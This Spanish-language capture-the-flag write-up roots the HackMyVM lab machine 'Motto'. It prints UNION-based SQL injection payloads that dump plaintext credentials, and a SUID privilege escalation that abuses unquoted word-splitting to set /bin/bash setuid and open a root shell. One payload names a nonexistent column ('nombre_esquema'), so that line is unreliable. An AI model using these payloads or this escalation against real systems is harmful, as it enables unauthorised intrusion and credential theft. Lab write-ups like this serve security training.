cd ~/blog

~/writeups/hmv/139-motto.md

139 - Motto

easy Linux hmv 30-09-2025
SQL Injection (UNION-based dump)SUID binary + shell word-splitting bypass
hackmyvm.eu/machines/machine.php?vm=Motto

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80,9090 -oN 02-targeted.txt 10.206.94.20
...
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
9090/tcp open  http    Golang net/http server
|_http-title: Mottos
...

Enumeramos directorios en el puerto 9090 y encontramos /login, /register y /myinfo:

 gobuster dir -u 'http://10.206.94.20:9090' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh -r
login                (Status: 200)
register             (Status: 200)
myinfo               (Status: 200)

Nos registramos una cuenta (pwned:asdfasdf). La página /myinfo permite modificar el apodo (nickname), vulnerable a SQL Injection. Con pwned' OR 1=1-- - y entrando a /mymottos se cargan los mensajes de todos los usuarios, confirmando la inyección. Volcamos las credenciales con una enumeración UNION progresiva (3 columnas, el dato visible es la 3ª):

-- base de datos en uso  → sql
pwned' UNION SELECT 1,2,database()-- -
-- todas las bases       → information_schema, performance_schema, mysql, sql
pwned' UNION SELECT 1,2,nombre_esquema FROM information_schema.schemata-- -
-- tablas de 'sql'       → motto_infos, register_infos
pwned' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='sql'-- -
-- columnas de register_infos → user_id, nickname, username, password
pwned' UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema='sql' AND table_name='register_infos'-- -
-- volcado de credenciales
pwned' UNION SELECT 1,2,CONCAT(username,0x3a,password) FROM register_infos-- -
admin is no use:admin is no use
RedBean:cannotforgetyou
pwned:asdfasdf

Entramos por SSH con redbean:cannotforgetyou y obtenemos la primera flag. Buscamos binarios SUID:

redbean@motto:~$ find / -perm -4000 2>/dev/null
...
/opt/run_newsh
...

Analizándolo (ghidra), hace setuid(0) y ejecuta /opt/new.sh con nuestro argumento. En ~/.backup está el código de new.sh, cuya lógica de comprobación es:

[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && chmod +s /bin/bash

La segunda comparación está entre comillas (literal), pero la tercera no: el shell expande $1 y aplica word splitting. Pasando "flag " (con espacio final) sorteamos la salida literal y disparamos el chmod +s:

redbean@motto:/opt$ ./run_newsh "flag "

redbean@motto:/opt$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash

redbean@motto:/opt$ bash -p
bash-5.0# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados